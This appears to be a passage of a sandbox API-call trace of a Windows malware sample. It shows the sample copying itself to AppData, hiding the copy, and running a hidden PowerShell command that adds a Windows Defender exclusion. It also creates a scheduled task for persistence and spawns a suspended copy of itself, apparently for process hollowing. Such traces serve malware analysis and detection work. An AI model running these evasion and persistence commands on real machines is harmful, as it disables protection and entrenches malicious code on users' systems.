lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe", nBufferLength=0x105, lpBuffer=0x19e434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe", lpFilePart=0x0) returned 0x62 [0161.205] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="UGuYsqINzELkVGLDAodcCAWpBT") returned 0x0 [0161.240] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="UGuYsqINzELkVGLDAodcCAWpBT") returned 0x2f8 [0179.707] CoTaskMemAlloc (cb=0x20c) returned 0x751cb0 [0179.710] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x751cb0 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0179.719] CoTaskMemFree (pv=0x751cb0) [0179.719] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x19e41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpFilePart=0x0) returned 0x25 [0179.744] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe", nBufferLength=0x105, lpBuffer=0x19e4ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe", lpFilePart=0x0) returned 0x38 [0179.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e954) returned 1 [0179.748] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\rwwremazogelhb.exe"), fInfoLevelId=0x0, lpFileInformation=0x19e9d0 | out: lpFileInformation=0x19e9d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0179.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e950) returned 1 [0179.805] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe", nBufferLength=0x105, lpBuffer=0x19e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe", lpFilePart=0x0) returned 0x38 [0179.858] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe", nBufferLength=0x105, lpBuffer=0x19e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe", lpFilePart=0x0) returned 0x38 [0179.866] SetNamedSecurityInfoW () returned 0x2 [0180.946] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe", nBufferLength=0x105, lpBuffer=0x19e464, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe", lpFilePart=0x0) returned 0x62 [0180.946] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe", nBufferLength=0x105, lpBuffer=0x19e464, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe", lpFilePart=0x0) returned 0x38 [0180.946] CopyFileW (lpExistingFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe"), lpNewFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\rwwremazogelhb.exe"), bFailIfExists=1) returned 1 [0183.337] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe", nBufferLength=0x105, lpBuffer=0x19e400, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe", lpFilePart=0x0) returned 0x38 [0183.344] GetUserNameW (in: lpBuffer=0x19e6e0, pcbBuffer=0x19e958 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x19e958) returned 1 [0183.364] SetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe", dwFileAttributes=0x2007) returned 1 [0183.381] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x19e768, DesiredAccess=0x800, PolicyHandle=0x19e728 | out: PolicyHandle=0x19e728) returned 0x0 [0183.383] CoTaskMemAlloc (cb=0x8) returned 0x7521e8 [0183.383] CoTaskMemAlloc (cb=0x1a) returned 0x7538e0 [0183.384] LsaLookupNames2 (in: PolicyHandle=0x71cd20, Flags=0x0, Count=0x1, Names="RDhJ0CNFevzX", ReferencedDomains=0x19e73c, Sids=0x19e730 | out: ReferencedDomains=0x19e73c, Sids=0x19e730) returned 0x0 [0183.387] CoTaskMemFree (pv=0x7538e0) [0183.387] CoTaskMemFree (pv=0x7521e8) [0183.396] LsaClose (ObjectHandle=0x71cd20) returned 0x0 [0183.396] LsaFreeMemory (Buffer=0x744808) returned 0x0 [0183.396] LsaFreeMemory (Buffer=0x74f560) returned 0x0 [0183.396] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x19e768, DesiredAccess=0x800, PolicyHandle=0x19e728 | out: PolicyHandle=0x19e728) returned 0x0 [0183.397] CoTaskMemAlloc (cb=0x8) returned 0x752178 [0183.397] CoTaskMemAlloc (cb=0x1a) returned 0x7538b8 [0183.397] LsaLookupNames2 (in: PolicyHandle=0x71cd20, Flags=0x0, Count=0x1, Names="RDhJ0CNFevzX", ReferencedDomains=0x19e73c, Sids=0x19e730 | out: ReferencedDomains=0x19e73c, Sids=0x19e730) returned 0x0 [0183.398] CoTaskMemFree (pv=0x7538b8) [0183.398] CoTaskMemFree (pv=0x752178) [0183.398] LsaClose (ObjectHandle=0x71cd20) returned 0x0 [0183.398] LsaFreeMemory (Buffer=0x744c80) returned 0x0 [0183.398] LsaFreeMemory (Buffer=0x74ffb0) returned 0x0 [0183.408] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x19e768, DesiredAccess=0x800, PolicyHandle=0x19e728 | out: PolicyHandle=0x19e728) returned 0x0 [0183.409] CoTaskMemAlloc (cb=0x8) returned 0x7520d8 [0183.409] CoTaskMemAlloc (cb=0x1a) returned 0x753a48 [0183.409] LsaLookupNames2 (in: PolicyHandle=0x71cd20, Flags=0x0, Count=0x1, Names="RDhJ0CNFevzX", ReferencedDomains=0x19e73c, Sids=0x19e730 | out: ReferencedDomains=0x19e73c, Sids=0x19e730) returned 0x0 [0183.410] CoTaskMemFree (pv=0x753a48) [0183.410] CoTaskMemFree (pv=0x7520d8) [0183.410] LsaClose (ObjectHandle=0x71cd20) returned 0x0 [0183.410] LsaFreeMemory (Buffer=0x7447a0) returned 0x0 [0183.410] LsaFreeMemory (Buffer=0x74fae0) returned 0x0 [0183.410] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x19e768, DesiredAccess=0x800, PolicyHandle=0x19e728 | out: PolicyHandle=0x19e728) returned 0x0 [0183.411] CoTaskMemAlloc (cb=0x8) returned 0x752248 [0183.411] CoTaskMemAlloc (cb=0x1a) returned 0x753890 [0183.411] LsaLookupNames2 (in: PolicyHandle=0x71cd20, Flags=0x0, Count=0x1, Names="RDhJ0CNFevzX", ReferencedDomains=0x19e73c, Sids=0x19e730 | out: ReferencedDomains=0x19e73c, Sids=0x19e730) returned 0x0 [0183.412] CoTaskMemFree (pv=0x753890) [0183.412] CoTaskMemFree (pv=0x752248) [0183.412] LsaClose (ObjectHandle=0x71cd20) returned 0x0 [0183.412] LsaFreeMemory (Buffer=0x7448d8) returned 0x0 [0183.412] LsaFreeMemory (Buffer=0x74fa30) returned 0x0 [0183.412] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x19e768, DesiredAccess=0x800, PolicyHandle=0x19e728 | out: PolicyHandle=0x19e728) returned 0x0 [0183.413] CoTaskMemAlloc (cb=0x8) returned 0x752258 [0183.413] CoTaskMemAlloc (cb=0x1a) returned 0x7538e0 [0183.413] LsaLookupNames2 (in: PolicyHandle=0x71cd20, Flags=0x0, Count=0x1, Names="RDhJ0CNFevzX", ReferencedDomains=0x19e73c, Sids=0x19e730 | out: ReferencedDomains=0x19e73c, Sids=0x19e730) returned 0x0 [0183.414] CoTaskMemFree (pv=0x7538e0) [0183.414] CoTaskMemFree (pv=0x752258) [0183.414] LsaClose (ObjectHandle=0x71cd20) returned 0x0 [0183.414] LsaFreeMemory (Buffer=0x745160) returned 0x0 [0183.414] LsaFreeMemory (Buffer=0x74f770) returned 0x0 [0183.414] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x19e768, DesiredAccess=0x800, PolicyHandle=0x19e728 | out: PolicyHandle=0x19e728) returned 0x0 [0183.415] CoTaskMemAlloc (cb=0x8) returned 0x7522b8 [0183.415] CoTaskMemAlloc (cb=0x1a) returned 0x753a48 [0183.415] LsaLookupNames2 (in: PolicyHandle=0x71cd20, Flags=0x0, Count=0x1, Names="RDhJ0CNFevzX", ReferencedDomains=0x19e73c, Sids=0x19e730 | out: ReferencedDomains=0x19e73c, Sids=0x19e730) returned 0x0 [0183.415] CoTaskMemFree (pv=0x753a48) [0183.416] CoTaskMemFree (pv=0x7522b8) [0183.416] LsaClose (ObjectHandle=0x71cd20) returned 0x0 [0183.416] LsaFreeMemory (Buffer=0x744ef0) returned 0x0 [0183.416] LsaFreeMemory (Buffer=0x74fc40) returned 0x0 [0183.416] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x19e768, DesiredAccess=0x800, PolicyHandle=0x19e728 | out: PolicyHandle=0x19e728) returned 0x0 [0183.416] CoTaskMemAlloc (cb=0x8) returned 0x752248 [0183.417] CoTaskMemAlloc (cb=0x1a) returned 0x7537f0 [0183.417] LsaLookupNames2 (in: PolicyHandle=0x71cd20, Flags=0x0, Count=0x1, Names="RDhJ0CNFevzX", ReferencedDomains=0x19e73c, Sids=0x19e730 | out: ReferencedDomains=0x19e73c, Sids=0x19e730) returned 0x0 [0183.417] CoTaskMemFree (pv=0x7537f0) [0183.417] CoTaskMemFree (pv=0x752248) [0183.418] LsaClose (ObjectHandle=0x71cd20) returned 0x0 [0183.418] LsaFreeMemory (Buffer=0x745090) returned 0x0 [0183.418] LsaFreeMemory (Buffer=0x74fea8) returned 0x0 [0183.418] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x19e768, DesiredAccess=0x800, PolicyHandle=0x19e728 | out: PolicyHandle=0x19e728) returned 0x0 [0183.418] CoTaskMemAlloc (cb=0x8) returned 0x7521e8 [0183.418] CoTaskMemAlloc (cb=0x1a) returned 0x753890 [0183.418] LsaLookupNames2 (in: PolicyHandle=0x71cd20, Flags=0x0, Count=0x1, Names="RDhJ0CNFevzX", ReferencedDomains=0x19e73c, Sids=0x19e730 | out: ReferencedDomains=0x19e73c, Sids=0x19e730) returned 0x0 [0183.419] CoTaskMemFree (pv=0x753890) [0183.419] CoTaskMemFree (pv=0x7521e8) [0183.419] LsaClose (ObjectHandle=0x71cd20) returned 0x0 [0183.420] LsaFreeMemory (Buffer=0x744ae0) returned 0x0 [0183.420] LsaFreeMemory (Buffer=0x74ff58) returned 0x0 [0183.420] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x19e768, DesiredAccess=0x800, PolicyHandle=0x19e728 | out: PolicyHandle=0x19e728) returned 0x0 [0183.420] CoTaskMemAlloc (cb=0x8) returned 0x7520d8 [0183.420] CoTaskMemAlloc (cb=0x1a) returned 0x753a20 [0183.420] LsaLookupNames2 (in: PolicyHandle=0x71cd20, Flags=0x0, Count=0x1, Names="RDhJ0CNFevzX", ReferencedDomains=0x19e73c, Sids=0x19e730 | out: ReferencedDomains=0x19e73c, Sids=0x19e730) returned 0x0 [0183.422] CoTaskMemFree (pv=0x753a20) [0183.422] CoTaskMemFree (pv=0x7520d8) [0183.422] LsaClose (ObjectHandle=0x71cd20) returned 0x0 [0183.423] LsaFreeMemory (Buffer=0x744e20) returned 0x0 [0183.423] LsaFreeMemory (Buffer=0x74f718) returned 0x0 [0183.423] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe", nBufferLength=0x105, lpBuffer=0x19e400, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe", lpFilePart=0x0) returned 0x38 [0183.423] SetNamedSecurityInfoW () returned 0x0 [0183.469] GetCurrentProcess () returned 0xffffffff [0183.469] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19e83c | out: TokenHandle=0x19e83c*=0x3e4) returned 1 [0183.475] GetTokenInformation (in: TokenHandle=0x3e4, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x19e834 | out: TokenInformation=0x0, ReturnLength=0x19e834) returned 0 [0183.475] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x7522b8 [0183.475] GetTokenInformation (in: TokenHandle=0x3e4, TokenInformationClass=0x8, TokenInformation=0x7522b8, TokenInformationLength=0x4, ReturnLength=0x19e834 | out: TokenInformation=0x7522b8, ReturnLength=0x19e834) returned 1 [0183.476] LocalFree (hMem=0x7522b8) returned 0x0 [0183.476] DuplicateTokenEx (in: hExistingToken=0x3e4, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x19e83c | out: phNewToken=0x19e83c*=0x3e8) returned 1 [0183.477] CheckTokenMembership (in: TokenHandle=0x3e8, SidToCheck=0x23f2c58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x19e84c | out: IsMember=0x19e84c) returned 1 [0183.477] CloseHandle (hObject=0x3e8) returned 1 [0183.826] LocalAlloc (uFlags=0x0, uBytes=0x16) returned 0x71cd20 [0183.826] LocalAlloc (uFlags=0x0, uBytes=0xb6) returned 0x741778 [0183.828] ShellExecuteExW (in: pExecInfo=0x23fc140*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="powershell", lpParameters="Add-MpPreference -ExclusionPath \"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe\"", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x23fc140*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="powershell", lpParameters="Add-MpPreference -ExclusionPath \"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe\"", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x528)) returned 1 [0189.930] LocalFree (hMem=0x71cd20) returned 0x0 [0189.931] LocalFree (hMem=0x741778) returned 0x0 [0189.931] GetCurrentProcess () returned 0xffffffff [0189.931] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19e8d4 | out: TokenHandle=0x19e8d4*=0x3f0) returned 1 [0189.934] GetCurrentProcess () returned 0xffffffff [0189.934] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19e8a4 | out: TokenHandle=0x19e8a4*=0x4ac) returned 1 [0189.934] GetTokenInformation (in: TokenHandle=0x3f0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x19e8d8 | out: TokenInformation=0x0, ReturnLength=0x19e8d8) returned 0 [0189.934] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0xa6d6798 [0189.934] GetTokenInformation (in: TokenHandle=0x3f0, TokenInformationClass=0x1, TokenInformation=0xa6d6798, TokenInformationLength=0x24, ReturnLength=0x19e8d8 | out: TokenInformation=0xa6d6798, ReturnLength=0x19e8d8) returned 1 [0189.935] LocalFree (hMem=0xa6d6798) returned 0x0 [0189.935] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x19e7f4, DesiredAccess=0x800, PolicyHandle=0x19e7b4 | out: PolicyHandle=0x19e7b4) returned 0x0 [0189.936] LsaLookupSids (in: PolicyHandle=0xa6d0d60, Count=0x1, Sids=0x24459b8*=0x244595c*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), ReferencedDomains=0x19e7d0, Names=0x19e7c4 | out: ReferencedDomains=0x19e7d0, Names=0x19e7c4) returned 0x0 [0189.937] LsaClose (ObjectHandle=0xa6d0d60) returned 0x0 [0189.937] LsaFreeMemory (Buffer=0x744bb0) returned 0x0 [0189.937] LsaFreeMemory (Buffer=0xa6d4d40) returned 0x0 [0189.938] CoTaskMemAlloc (cb=0x20c) returned 0xa6cd050 [0189.938] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xa6cd050 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25 [0189.938] CoTaskMemFree (pv=0xa6cd050) [0189.938] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDHJ0C~1\\", lpszLongPath=0x19e3d0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\") returned 0x16 [0189.938] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x19e3e4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x29 [0189.939] CoTaskMemAlloc (cb=0x20c) returned 0xa6cd050 [0189.939] GetTempFileNameW (in: lpPathName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", lpPrefixString="tmp", uUnique=0x0, lpTempFileName=0xa6cd050 | out: lpTempFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\tmpb163.tmp")) returned 0xb163 [0189.940] CoTaskMemFree (pv=0xa6cd050) [0190.001] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp", nBufferLength=0x105, lpBuffer=0x19e294, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp", lpFilePart=0x0) returned 0x34 [0190.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e7cc) returned 1 [0190.001] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\tmpb163.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3ec [0190.002] GetFileType (hFile=0x3ec) returned 0x1 [0190.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e7c8) returned 1 [0190.002] GetFileType (hFile=0x3ec) returned 0x1 [0190.003] WriteFile (in: hFile=0x3ec, lpBuffer=0x2449f6c*, nNumberOfBytesToWrite=0x642, lpNumberOfBytesWritten=0x19e858, lpOverlapped=0x0 | out: lpBuffer=0x2449f6c*, lpNumberOfBytesWritten=0x19e858*=0x642, lpOverlapped=0x0) returned 1 [0190.004] CloseHandle (hObject=0x3ec) returned 1 [0190.016] LocalAlloc (uFlags=0x0, uBytes=0x1a) returned 0x77f1d8 [0190.016] LocalAlloc (uFlags=0x0, uBytes=0xc2) returned 0xa6dd318 [0190.016] ShellExecuteExW (in: pExecInfo=0x244b81c*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="schtasks.exe", lpParameters="/Create /TN \"Updates\\rWWREmAZOgElhb\" /XML \"C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp\"", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x244b81c*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="schtasks.exe", lpParameters="/Create /TN \"Updates\\rWWREmAZOgElhb\" /XML \"C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp\"", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x514)) returned 1 [0195.655] LocalFree (hMem=0x77f1d8) returned 0x0 [0195.655] LocalFree (hMem=0xa6dd318) returned 0x0 [0195.658] GetCurrentProcess () returned 0xffffffff [0195.658] GetCurrentProcess () returned 0xffffffff [0195.658] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x514, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x19e8bc, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x19e8bc*=0x3e8) returned 1 [0195.661] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x19e8b4*=0x3e8, lpdwindex=0x19e6d4 | out: lpdwindex=0x19e6d4) returned 0x0 [0208.781] CloseHandle (hObject=0x3e8) returned 1 [0208.781] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp", nBufferLength=0x105, lpBuffer=0x19e3f4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp", lpFilePart=0x0) returned 0x34 [0208.781] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\tmpB163.tmp" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\tmpb163.tmp")) returned 1 [0209.248] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x48200, lpName=0x0) returned 0x528 [0209.249] memcpy (in: _Dst=0xa7a0000, _Src=0x3f5d540, _Size=0x48200 | out: _Dst=0xa7a0000) returned 0xa7a0000 [0209.251] CloseHandle (hObject=0x528) returned 1 [0209.442] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe", nBufferLength=0x105, lpBuffer=0x19e364, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe", lpFilePart=0x0) returned 0x62 [0209.501] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x19ddfc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0209.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe", cchWideChar=98, lpMultiByteStr=0x19e5a4, cbMultiByte=100, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe\x9b\x07Pã0U(ú\x0bo\\î\x19", lpUsedDefaultChar=0x0) returned 98 [0209.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=0, lpMultiByteStr=0x19e5a0, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="<\x18\x9b\x07C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe", lpUsedDefaultChar=0x0) returned 0 [0209.666] CreateProcessA (in: lpApplicationName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe", lpCommandLine="", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000004, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19e664*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19e9a0 | out: lpCommandLine="", lpProcessInformation=0x19e9a0*(hProcess=0x3f0, hThread=0x528, dwProcessId=0x11bc, dwThreadId=0x11a0)) returned 1 [0209.693] CoTaskMemFree (pv=0x0) [0209.709] GetThreadContext (in: hThread=0x528, lpContext=0x244798c | out: lpContext=0x244798c*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x3bb000, Edx=0x0, Ecx=0x0, Eax=0x4d4cf2, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, 